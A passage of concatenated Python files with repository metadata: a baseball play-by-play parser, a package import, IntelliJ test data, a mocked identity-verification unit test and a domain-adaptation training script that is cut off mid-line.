self.base[bto].append(self.base[bfrom]) else: self.base[bto] = self.base[bfrom] else: self.main_play = advance_base(self.main_play, bto=bto) self.base = move_base(self.base, bfrom=bfrom, bto=bto) ########################### stats ############################## self.stats['running'].append(['CS(E)',bfrom, bto]) #caught stealing w error As = re.findall('^(?:\([1-9]+E)+', cs) if As: As = As[0].replace('E','').replace('(','') for a in As: self.stats['fielding'].append(['A',a]) error_fielder = re.findall('E[1-9]', cs)[0] self.stats['fielding'].append(['E',error_fielder[1]]) passes = re.sub('CS[23H]','', cs).replace('(','').replace(')','').replace('E','') if passes: self.modifiers['passes'].append(passes) ########################### end ################################ elif re.findall('^BK$', mp):# balk (batter remains but all other get one base) ########################### stats ############################## self.stats['pitching'].append(['BK','1']) ########################### end ################################ elif re.findall('^D[0-9]*\??$', mp): #double self.main_play = advance_base(self.main_play, bto='2',bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='2') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['2B','']) self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) passes = re.findall('[0-9]', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ elif re.findall('^DGR[0-9]*$', mp): #ground rule double (two bases for everyone as ball went out after being in) self.main_play = advance_base(self.main_play, bto='2',bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='2') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['DGR','']) self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) passes = re.findall('[0-9]+', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ elif re.findall('^DI$', mp): #defensive indifference ########################### stats ############################## for explicit_move in self.em: bto = explicit_move[0][2] bfrom = explicit_move[0][0] self.stats['running'].append(['DI',bfrom, bto]) ########################### end ################################ elif re.findall('^E[1-9]+\??$', mp): ## error allowing batter to get on base (B-1 implicit or not) if not re.findall('K', self.mp[0]): #it is an error but not on second event following strike self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B',bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## error_fielder = re.findall('E[1-9]$', mp)[0] if 'TH' in mpm: #throwing error self.stats['fielding'].append(['E(TH)',error_fielder[1]]) else: self.stats['fielding'].append(['E',error_fielder[1]]) passes = re.findall('[0-9]+', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ elif re.findall('^FC[1-9]?\??$',mp):# fielders choice (also implicit B-1) self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['FC','']) if len(mp) > 2: self.stats['fielding'].append(['FC',mp[2]]) self.modifiers['passes'].append(mp[2]) ########################### end ################################ elif re.findall('^FLE[1-9]+$',mp): # error on foul fly play (error given to the play but no advances) ########################### stats ############################## self.stats['fielding'].append(['FLE',mp[3]]) ########################### end ################################ elif re.findall('^H[R]?[1-9]*[D]?$', mp): #home run self.main_play = advance_base(self.main_play, bto='H',bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='H') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['running'].append(['R','B', 'H']) self.stats['batting'].append(['HR','']) #home run self.stats['pitching'].append(['HR','1']) self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) self.stats['batting'].append(['R','']) #run if 'IPHR' in mpm: self.stats['batting'].append(['IPHR','']) ########################### end ################################ elif re.findall('^HP$', mp): #hit by pitch self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['HBP','']) #hit by pitch ########################### end ################################ elif re.findall('^W[^P]',mp) or mp=='W': # walk self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['BB','']) #base on balls self.stats['pitching'].append(['BB','1']) #base on balls ########################### end ################################ elif re.findall('^I[W]?',mp): # intentional walk self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['IBB','']) #base on balls self.stats['pitching'].append(['IBB','1']) #base on balls ########################### end ################################ elif re.findall('^K',mp): #strikeout self.main_play = out_in_advance(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = leave_base(self.base, bfrom='B') if not self._is_explicit() else self.base ########################### stats ############################## self.stats['batting'].append(['K','']) #strikeout self.stats['fielding'].append(['PO','2']) #strikeout self.stats['pitching'].append(['K','1']) #strikeout self.stats['batting'].append(['SF','']) if 'SF' in mpm else None self.stats['batting'].append(['SH','']) if 'SH' in mpm else None ########################### end ################################ elif re.findall('^NP$',mp): #no play pass elif re.findall('^(?:OA)?(?:99)?$',mp): #unkown play pass elif re.findall('^PB$', mp): #passed ball #will keep any advancement to explicit for now. Othersie uncomment below #self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['fielding'].append(['PB','2']) ########################### end ################################ elif re.findall('^PO[123](?:$[1-9]+$)',mp): #picked off of base (without error) bfrom = mp[2] bto = NEXT_BASE[mp[2]] if re.findall('[\-X]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]): self.main_play['out'] += 1 else: self.main_play = out_in_advance(self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base #self.main_play = out_in_advance(self.main_play, bfrom=bfrom) if not self._is_explicit(bfrom) else self.main_play #self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base ########################### stats ############################## PO = re.findall('[1-9]\)', mp) if PO: PO = PO[0].replace(')','') self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('(?:$[^\(]+$)', mp) if As: As = As[0].replace('(','').replace(')','') for a in As: if a not in PO: self.stats['fielding'].append(['A',a]) passes = re.sub('PO[123]$','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) self.stats['running'].append(['PO',bfrom, bfrom]) #player never moved base ########################### end ################################ elif re.findall('^PO[123](?:\([1-9]*E[1-9]+)',mp): #pick off with pass error (no out nothing implicit) ########################### stats ############################## bfrom = mp[2] bto = NEXT_BASE[mp[2]] self.stats['running'].append(['PO(E)',bfrom, bto]) As = re.findall('^(?:\([1-9]+E)+', mp) #assists to other players if As: As = As[0].replace('E','').replace('(','') for a in As: self.stats['fielding'].append(['A',a]) passes = re.sub('PO[123]\(','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) error_fielder = re.findall('E[1-9]', mp)[0] self.stats['fielding'].append(['E',error_fielder[1]]) ########################### end ################################ elif re.findall('^POCS[23H](?:\([1-9]+$)',mp): #POCS%($$) picked off off base % (2, 3 or H) with the runner charged with a caught stealing for split in mp.split(';'): if split[0:2] == 'CS': bto = split[2] bfrom = PREVIOUS_BASE[split[2]] if re.findall('[\-]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]) or bfrom in self.move_on_error: self.main_play['out'] += 1 else: self.main_play = out_in_advance(self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base #self.main_play = out_in_advance(self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play #self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base self.stats['running'].append(['CS',bfrom, bto]) else: bto = split[4] bfrom = PREVIOUS_BASE[split[4]] if re.findall('[\-]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]) or bfrom in self.move_on_error: self.main_play['out'] += 1 else: self.main_play = out_in_advance(self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base #out_in_advance( self.main_play, bto=bto) if not self._is_explicit(bfrom) else self.main_play #there are CS events together with POCS #self.base = leave_base(self.base, bfrom=bfrom) if not self._is_explicit(bfrom) else self.base self.stats['running'].append(['CS',bfrom, bto]) ########################### stats ############################## PO = re.findall('[1-9]\)', split) if PO: PO = PO[0].replace(')','') self.stats['fielding'].append(['PO',PO[0]]) As = re.findall('(?:$[^\(]+$)', split) if As: As = As[0].replace('(','').replace(')','') for a in As: if a not in PO: self.stats['fielding'].append(['A',a]) passes = re.sub('POCS[123]\(','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) ########################### end ################################ elif re.findall('^POCS[23H](?:\([1-9]*E[1-9]+)',mp):#POCS errors for split in mp.split(';'): bto = split[4] bfrom = PREVIOUS_BASE[split[4]] if not self._is_explicit(bfrom): if re.findall('[\-]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]) or bfrom in self.move_on_error: self.main_play[bto] = 1 if bto == 'H' or bfrom == '3': self.main_play['run'] += 1 if bto=='H': self.base[bto].append(self.base[bfrom]) else: self.base[bto] = self.base[bfrom] else: self.main_play = advance_base(self.main_play, bto=bto) self.base = move_base(self.base, bfrom=bfrom, bto=bto) #self.base = move_base(self.base, bfrom=bfrom, bto=bto) if not self._is_explicit(bfrom) else self.base #self.advances = advance_base(self.advances, bfrom=bfrom, bto=bto) if not self._is_explicit(bfrom) else self.advances ########################### stats ############################## bto = mp[4] bfrom = PREVIOUS_BASE[mp[4]] self.stats['running'].append(['CS(E)',bfrom, bto]) As = re.findall('^(?:\([1-9]+E)+', mp) #assists to other players if As: As = As[0].replace('E','').replace('(','') for a in As: self.stats['fielding'].append(['A',a]) error_fielder = re.findall('E[1-9]', mp)[0] self.stats['fielding'].append(['E',error_fielder[1]]) passes = re.sub('POCS[123]\(','', mp).replace(')','').replace('E','') self.modifiers['passes'].append(passes) ########################### end ################################ elif re.findall('^S[0-9]*\??\+?$',mp): #single self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['1B','']) #single self.stats['batting'].append(['H','']) #hit self.stats['pitching'].append(['H','1']) passes = re.findall('[0-9]', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ elif re.findall('^SB[23H]',mp): #stolen base sbs = [] for sb in mp.split(';'): if sb[0:2] == 'SB': sbs.append(sb) sbs.sort(key = lambda item: (['1','2','3','H'].index(item[2]), item), reverse=True) for sb in sbs: bto = sb[2] bfrom = PREVIOUS_BASE[sb[2]] if not self._is_explicit(bfrom): #check if explicit moved, so wont zero out the base left if re.findall('[\-]{0}'.format(bfrom), self.str.split('.')[len(self.str.split('.'))-1]) or bfrom in self.move_on_error: self.main_play[bto] = 1 if bto == 'H' or bfrom == '3': self.main_play['run'] += 1 if bto=='H': self.base[bto].append(self.base[bfrom]) else: self.base[bto] = self.base[bfrom] else: self.main_play = advance_base(self.main_play, bto=sb[2]) self.base = move_base(self.base, bfrom=bfrom, bto=bto) ########################### stats ############################## self.stats['running'].append(['SB',bfrom, bto]) self.stats['running'].append(['R',bfrom, bto]) if sb[2] == 'H' else None ########################### end ################################ elif re.findall('^T[0-9]*\??\+?$',mp): #triple self.main_play = advance_base(self.main_play, bfrom='B', bto='3') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='3') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['batting'].append(['3B','']) self.stats['batting'].append(['H','']) #hit passes = re.findall('[0-9]', mp) if passes: self.modifiers['passes'].append(passes[0]) ########################### end ################################ elif re.findall('^WP', mp): ## wild pitch - base runner advances #the advance should only be explicit. If not, uncomment below #self.main_play = advance_base(self.main_play, bfrom='B') if not self._is_explicit() else self.main_play #self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base #B-1 except if explicily moving on advances ########################### stats ############################## self.stats['pitching'].append(['WP','1']) ########################### end ################################ elif re.findall('^C$', mp): #catcher interference or pitcher or first baseman if 'E1' in mpm : ########################### stats ############################## self.main_play = advance_base(self.main_play, bfrom='B', bto='1') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base self.stats['fielding'].append(['E','1']) ########################### end ################################ elif 'E2' in mpm: ########################### stats ############################## self.main_play = advance_base(self.main_play, bfrom='B', bto='1') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base self.stats['fielding'].append(['CI','2']) ########################### end ################################ elif 'E3' in mpm: ########################### stats ############################## self.main_play = advance_base(self.main_play, bfrom='B', bto='1') if not self._is_explicit() else self.main_play self.base = move_base(self.base, bfrom='B', bto='1') if not self._is_explicit() else self.base self.stats['fielding'].append(['E','3']) ########################### end ################################ else: self.log.debug('Main event not known: {0}'.format(mp)) #raise eventNotFoundError('Event Not Known', mp) def _split_plays(self): """ split the play into: - main play --> main string - implicit advances --> calculated - main play modifiers --> separated by '/' - secondary_play --> (for K+ and [I]W+ events) - explicit advances --> separated from main play by '.'. It is = explicit move + advance description + advance modifiers - explicit move --> the move of players, without modifiers. base-base or baseXbase - advance description --> descriptors only, enclosed by '()' - advance modifiers --> modifiers for the description, separated by '/' """ self.mp = [] # main play self.mpm= [] # main play modifiers, preceeded by '/' self.mpd = [] # main play describers, inside '()' self.mpdm = []# main play describer modifiers, preceeded by '/' #not in use for now self.sp = [] # secondary play self.spm = [] # secondary play modifiers, preceeded by '/' self.ea = [] # explicit advances self.em = [] # explicit move self.ad = [] # advance descriptions self.am = [] # advance modifiers #main part: self.mp = re.findall('^(?:[^\.^\+^/]+)', self.str.split('.')[0].split('+')[0])#self.str.split('.')[0] #print ('\nmp:\t', self.mp) #secondary play self.sp = re.findall('(?<=\+)(?:[^\.^\+^/]+)', self.str.split('.')[0]) #'+' could be a string in a location or a separator of plays (second play) if not self.sp: self.mpm = re.findall('(?<=/)[^\+^/]+', self.str.split('.')[0].replace('#','').replace('+','')) else: self.mpm = re.findall('(?<=/)[^\+^/]+', self.str.split('.')[0].split('+')[0].replace('#','').replace('+','')) #print ('\nmpm:\t', self.mpm) self.mpd = re.findall('(?<=$)(?:[^$^/])+', self.str.split('.')[0].split('+')[0]) #print ('\nmpd\t', self.mpd) str_spm = self.str.split('.')[0].split('+',1)[1] if len(self.str.split('.')[0].split('+',1)) > 1 else '' self.spm = re.findall('(?<=/)(?:[^/^\+]+)', str_spm) #print ('\nspm:\t', self.spm) #advances: self.ea = self.str.split('.')[len(self.str.split('.'))-1].split(';') if len(self.str.split('.'))>1 else [] self.ea.sort(key = lambda item: (['B','1','2','3'].index(item[0]), item), reverse=True) for advance in self.ea: self.em.append(re.findall('[1-3B][\-X][1-3H]', advance)) for advance in self.ea: self.ad.append(re.findall('(?<=$)(?:[^$^/]+)', advance)) for advance in self.ea: describers = re.findall('(?<=$)(?:[^$]+)', advance) if not describers: self.am.append([[]]) else: temp = [] for describer in describers: temp.append(re.findall('(?<=/)[^/^\)]+', describer)) self.am.append(temp) #print ('\nea:\t', self.ea) #print ('\nem:\t', self.em) #print ('\nad:\t', self.ad) #print ('\nam:\t', self.am) def final_moves(self): """Combine main play with explicit advances. Also, it needs to check to make sure bases are correct based on previous play (previous_advances) """ for key, value in self.main_play.items(): if key in ['out', 'run','H']: self.advances[key] += value else: #bases self.advances[key] = value def decipher(self): """Parse baseball play """ self.move_on_error = [] #initialize this play self.modifiers = { 'out': 0, 'run': 0, 'bunt': 0, 'trajectory': '', 'location': '', 'interference':'', 'review': '', 'foul': 0, 'force out': 0, 'throw':0, 'sacrifice': '', 'relay':0, 'other':[], 'courtesy':'', 'passes': [], 'DP': False, 'TP': False, } self.stats = { 'batting': [], #event, player (left blank as batter is contextual) 'fielding': [], #event, event 'running':[], #event, base_from, base_to 'pitching':[], #event, player } self.main_play={'out': 0,'run': 0} #self._initialize_modifiers() #take the pieces of hte play (main play, secondary, advances, modifiers, describers) self._split_plays() mp = self.mp[0].replace('#','').replace('!','').replace('?','') mpm= self.mpm #read advance first (Explicit moves) self._advances() #read main play self._main_play(mp = mp, mpm=mpm) self._modifiers(modifiers = self.mpm) #read secondary play if there if self.sp: sp = self.sp[0].replace('#','').replace('!','').replace('?','') spm = self.spm self._main_play(mp = sp, mpm=spm) self._modifiers(modifiers= self.spm) #combine explicit + implicit moves self.final_moves() class eventNotFoundError(Exception): """ Exception that is raised when an event is not recognized """ def __init__(self, error, event): self.log = logging.getLogger(__name__) self.log.debug("Event not found: {0}".format(event)) super(eventNotFoundError, self).__init__(event)

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754ad79d12dec505dfa29900c68f61e94cd65415

48

py

Python

src/wai/annotations/imgaug/isp/flip/specifier/__init__.py

waikato-ufdl/wai-annotations-processors

9dcd5d421983cd717f738f54fcbae04ede2954d1

[ "Apache-2.0" ]

null

src/wai/annotations/imgaug/isp/flip/specifier/__init__.py

waikato-ufdl/wai-annotations-processors

9dcd5d421983cd717f738f54fcbae04ede2954d1

[ "Apache-2.0" ]

2

2020-06-17T01:59:38.000Z

2020-06-17T02:03:06.000Z

src/wai/annotations/imgaug/isp/flip/specifier/__init__.py

waikato-ufdl/wai-annotations-processors

9dcd5d421983cd717f738f54fcbae04ede2954d1

[ "Apache-2.0" ]

null

from ._FlipISPSpecifier import FlipISPSpecifier

24

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0

1

0

1

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7

f36e98df3a33a5717cbfdd9f2e54fb9d2e4318b4

153

py

Python

python/testData/inspections/PyUnresolvedReferencesInspection/instanceAttributeCreatedThroughWithStatement.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/inspections/PyUnresolvedReferencesInspection/instanceAttributeCreatedThroughWithStatement.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/inspections/PyUnresolvedReferencesInspection/instanceAttributeCreatedThroughWithStatement.py

truthiswill/intellij-community

fff88cfb0dc168eea18ecb745d3e5b93f57b0b95

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

class Foo(object): def __init__(self): with open('scope') as self.scope: pass def get_scope(self): return self.scope

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7

f38e32263ccb6619d9fde671c74ab0e2aa7a192e

4,528

py

Python

verification/testcases/unit_testcases/test_passbase_verification_service.py

vinthedark/snet-marketplace-service

66ed9d093b00f09d3e28ef4d86c4e4c125037d06

[ "MIT" ]

null

verification/testcases/unit_testcases/test_passbase_verification_service.py

vinthedark/snet-marketplace-service

66ed9d093b00f09d3e28ef4d86c4e4c125037d06

[ "MIT" ]

null

verification/testcases/unit_testcases/test_passbase_verification_service.py

vinthedark/snet-marketplace-service

66ed9d093b00f09d3e28ef4d86c4e4c125037d06

[ "MIT" ]

null

import unittest import json from requests import Response from unittest.mock import patch from verification.services.passbase_verification_service import PassbaseVerificationService class PassbaseVerificationServiceTestCase(unittest.TestCase): @patch("requests.get") def test_get_all_authentications(self, mock_requests): mock_response_json = {"authentications": [{"key": "b007b547-8a2c-4e46-9fe0-514398d1be58", "reviewed_at": None, "review_status": None, "created_at": "2019-12-18T06:03:32.692Z", "additional_attributes": {"identifier": "vivek.n@singularitynet.io", "country_code": "in", "identifier_type": "email", "customer_user_id": "1234567"}, "authentication_assessments": {"facematch": {"value": "0.0"}, "id_authenticity": {"value": "0.0"}, "liveness": {"value": "0.9133184035386636"}, "overall": {"value": "0.2283296008846659"}}, "authentication_document": "NATIONAL_ID_CARD", "additional_document": None, "documents": [{"document_type": "NATIONAL_ID_CARD", "document_information": [{"key": "DATE_OF_EXPIRY", "value": None}, {"key": "DATE_OF_ISSUE", "value": None}, {"key": "DATE_OF_BIRTH", "value": None}, {"key": "NATIONALITY", "value": "India"}]}, {"document_type": None, "document_information": []}], "end_user":{"customer_user_id": "1234567"}}, { "key": "05bd4d91-acf6-4f24-972f-fd1e315a9f18", "reviewed_at": "2019-12-18T08:03:16.239Z", "review_status": False, "created_at": "2019-12-18T07:58:08.924Z", "additional_attributes": {"identifier": "vivek.n@singularitynet.io", "country_code": "in", "identifier_type": "email", "customer_user_id": "123"}, "authentication_assessments": {"facematch": {"value": "0.0"}, "id_authenticity": {"value": "0.0"}, "liveness": {"value": "0.930943828332993"}, "overall": {"value": "0.23273595708324826"}}, "authentication_document": "NATIONAL_ID_CARD", "additional_document": None, "documents": [{"document_type": "NATIONAL_ID_CARD", "document_information": [{"key": "DATE_OF_EXPIRY", "value": None}, {"key": "DATE_OF_ISSUE", "value": None}, {"key": "DATE_OF_BIRTH", "value": None}, {"key": "NATIONALITY", "value": "India"}]}, {"document_type": None, "document_information": []}], "end_user":{"customer_user_id": "123"}}], "number_of_authentications": 2, "status": "success", "code": "200"} response_obj = Response() response_obj.__setattr__("status_code", 200) response_obj.__setattr__("_content", json.dumps( mock_response_json).encode("utf-8")) mock_requests.return_value = response_obj response = PassbaseVerificationService().get_all_authentications() assert(response == {"authentications": [{"key": "b007b547-8a2c-4e46-9fe0-514398d1be58", "reviewed_at": None, "review_status": None, "created_at": "2019-12-18T06:03:32.692Z", "additional_attributes": {"identifier": "vivek.n@singularitynet.io", "country_code": "in", "identifier_type": "email", "customer_user_id": "1234567"}, "authentication_assessments": {"facematch": {"value": "0.0"}, "id_authenticity": {"value": "0.0"}, "liveness": {"value": "0.9133184035386636"}, "overall": {"value": "0.2283296008846659"}}, "authentication_document": "NATIONAL_ID_CARD", "additional_document": None, "documents": [{"document_type": "NATIONAL_ID_CARD", "document_information": [{"key": "DATE_OF_EXPIRY", "value": None}, {"key": "DATE_OF_ISSUE", "value": None}, {"key": "DATE_OF_BIRTH", "value": None}, {"key": "NATIONALITY", "value": "India"}]}, {"document_type": None, "document_information": []}], "end_user":{"customer_user_id": "1234567"}}, { "key": "05bd4d91-acf6-4f24-972f-fd1e315a9f18", "reviewed_at": "2019-12-18T08:03:16.239Z", "review_status": False, "created_at": "2019-12-18T07:58:08.924Z", "additional_attributes": {"identifier": "vivek.n@singularitynet.io", "country_code": "in", "identifier_type": "email", "customer_user_id": "123"}, "authentication_assessments": {"facematch": {"value": "0.0"}, "id_authenticity": {"value": "0.0"}, "liveness": {"value": "0.930943828332993"}, "overall": {"value": "0.23273595708324826"}}, "authentication_document": "NATIONAL_ID_CARD", "additional_document": None, "documents": [{"document_type": "NATIONAL_ID_CARD", "document_information": [{"key": "DATE_OF_EXPIRY", "value": None}, {"key": "DATE_OF_ISSUE", "value": None}, {"key": "DATE_OF_BIRTH", "value": None}, {"key": "NATIONALITY", "value": "India"}]}, {"document_type": None, "document_information": []}], "end_user":{"customer_user_id": "123"}}], "number_of_authentications": 2, "status": "success", "code": "200"})

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null

0

1

0

8

f3b500d039cfd1e842c5853786abebba2d5d0a81

12,533

py

Python

trainfcnwild.py

sanketloke/domain-adaptation

090b93c2866172de5522bef8127378c359a04cdb

[ "MIT" ]

null

trainfcnwild.py

sanketloke/domain-adaptation

090b93c2866172de5522bef8127378c359a04cdb

[ "MIT" ]

null

trainfcnwild.py

sanketloke/domain-adaptation

090b93c2866172de5522bef8127378c359a04cdb

[ "MIT" ]

null

import time from options.train_options import TrainOptions opt = TrainOptions().parse() # set CUDA_VISIBLE_DEVICES before import torch import pickle from data.custom_transforms import ToLabelTensor # with open("opt.obj",'wb') as f: # pickle.dump(opt,f) from data.segmentation import SegmentationDataset from models.models import create_model from data.unaligned_data_loader import UnalignedDataLoader import torch.utils.data import torchvision.transforms as transforms #from models.models import create_model from util.visualizer import Visualizer from pdb import set_trace as st import numpy as np import gc import evaluation.metrics labels = __import__('data.labels') import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt from data.custom_transforms import DownSizeLabelTensor ds1= DownSizeLabelTensor(2*opt.factor) size= ds1.findDecreasedResolution(opt.fineSize)/2 transform = transforms.Compose([ transforms.CenterCrop(opt.fineSize), transforms.Scale(size), transforms.ToTensor(), ]) target_transform = transforms.Compose([ transforms.CenterCrop(opt.fineSize),transforms.ToTensor(),ToLabelTensor(labels.labels.labels) ]) target_transform2 = transforms.Compose([ transforms.CenterCrop(opt.fineSize),transforms.ToTensor(),ToLabelTensor(labels.labels.labels) ]) opt.continue_train=True domainAdata= SegmentationDataset(root=opt.dataroot + '/' + opt.domain_A , split_ratio=opt.split_ratio_A, transform=transform, target_transform=target_transform, return_paths=True) domainBdata= SegmentationDataset(root=opt.dataroot + '/' + opt.domain_B , split_ratio=opt.split_ratio_B, transform=transform, target_transform=target_transform2, return_paths=True) domainAdataloader = torch.utils.data.DataLoader( domainAdata, batch_size=opt.batchSize, shuffle=not opt.serial_batches, num_workers=int(opt.nThreads)) domainBdataloader = torch.utils.data.DataLoader( domainBdata, batch_size=opt.batchSize, shuffle=not opt.serial_batches, num_workers=int(opt.nThreads)) cycle_data_loader=UnalignedDataLoader() cycle_data_loader.initialize(opt,transform,transform) dataset = cycle_data_loader.load_data() num_train = len(cycle_data_loader) print('#training images = %d' % num_train) print ('Finetune:'+str(opt.finetune)) print ('Split Ratio A:'+str(opt.split_ratio_A)) print ('Split Ratio B:'+str(opt.split_ratio_B)) print ('Split Ratio AB:'+str(opt.split_ratio_AB)) print ('Experiment Name:'+opt.name) print ('Iterations'+str(opt.niter)) print ('Iterations Decay'+str(opt.niter_decay)) opt.switch=0 model = create_model(opt) visualizer = Visualizer(opt) print 'Pretraining Done!!' print 'Starting Combined Training' avgtimetaken=[] total_steps=0 # for epoch in range(1,opt.niter + opt.niter_decay + 1): # # epoch_start_time = time.time() # domainBdata_iter = domainBdataloader.__iter__() # iter=0 # print epoch # for i in range(0,len(domainBdataloader)): # s=time.time() # batch_n= next(domainBdata_iter) # data={} # data['B_image'] = batch_n[0][0] # data['B_label'] = ds1.downsize(ds1.downsize(batch_n[1][0]).data).data # print i # iter_start_time = time.time() # total_steps += opt.batchSize # epoch_iter = total_steps % num_train # model.set_input(data,'BC') # model.optimize_parameters() # e=time.time() # avgtimetaken.append(e-s) # if total_steps % opt.display_freq == 0: # visualizer.display_current_results(model.get_current_visuals(), epoch) # if total_steps % opt.print_freq == 0: # errors = model.get_current_errors() # visualizer.print_current_errors(epoch, total_steps, errors, iter_start_time) # if opt.display_id > 0: # visualizer.plot_current_errors(epoch, total_steps, opt, errors) # if total_steps % opt.save_latest_freq == 0: # print('saving the latest model (epoch %d, total_steps %d)' % # (epoch, total_steps)) # model.save('latest') # if epoch % opt.save_epoch_freq == 0: # print('saving the model at the end of epoch %d, iters %d' % # (epoch, total_steps)) # model.save('latest') # model.save(epoch) # print('End of epoch %d / %d \t Time Taken: %d sec' % # (epoch, opt.niter + opt.niter_decay, time.time() - epoch_start_time)) # if epoch > opt.niter + opt.niter_decay*0.75: # model.update_learning_rate() # print 'Done' print 'Training Target Domain to Source Domain Adversarially' for epoch in range(1,opt.niter + opt.niter_decay + 1): # epoch_start_time = time.time() domainABdata_iter = dataset.__iter__() iter=0 for i in range(0,num_train,opt.batchSize): s=time.time() batch_n= next(domainABdata_iter) data={} data['AB_image_1'] = batch_n['A'] data['AB_image_2'] = batch_n['B'] iter_start_time = time.time() total_steps += opt.batchSize epoch_iter = total_steps % num_train model.set_input(data,'AB') model.optimize_parameters() e=time.time() avgtimetaken.append(e-s) if total_steps % opt.print_freq == 0: errors = model.get_current_errors() visualizer.print_current_errors(epoch, total_steps, errors, iter_start_time) if total_steps % opt.display_freq == 0: visualizer.display_current_results(model.get_current_visuals(), epoch) if total_steps % opt.save_latest_freq == 0: print('saving the latest model (epoch %d, total_steps %d)' % (epoch, total_steps)) model.save('latest') if epoch % opt.save_epoch_freq == 0: print('saving the model at the end of epoch %d, iters %d' % (epoch, total_steps)) model.save('latest') model.save(epoch) print('End of epoch %d / %d \t Time Taken: %d sec' % (epoch, opt.niter + opt.niter_decay, time.time() - epoch_start_time)) if opt.finetune>1: print 'FineTuning' for epoch in range(1,opt.niter + opt.niter_decay + 1): # epoch_start_time = time.time() domainAdata_iter = domainAdataloader.__iter__() iter=0 for i in range(0,len(domainAdataloader),opt.batchSize): s=time.time() batch_n= next(domainAdata_iter) data={} data['A_image'] = batch_n[0][0] data['A_label'] = ds1.downsize(ds1.downsize(batch_n[1][0]).data).data iter_start_time = time.time() total_steps += opt.batchSize epoch_iter = total_steps % num_train model.set_input(data,'AC') model.optimize_parameters() e=time.time() avgtimetaken.append(e-s) if total_steps % opt.display_freq == 0: visualizer.display_current_results(model.get_current_visuals(), epoch) if total_steps % opt.print_freq == 0: errors = model.get_current_errors() visualizer.print_current_errors(epoch, total_steps, errors, iter_start_time) if opt.display_id > 0: visualizer.plot_current_errors(epoch, total_steps, opt, errors) if total_steps % opt.save_latest_freq == 0: print('saving the latest model (epoch %d, total_steps %d)' % (epoch, total_steps)) model.save('latest') if epoch % opt.save_epoch_freq == 0: print('saving the model at the end of epoch %d, iters %d' % (epoch, total_steps)) model.save('latest') model.save(epoch) print('End of epoch %d / %d \t Time 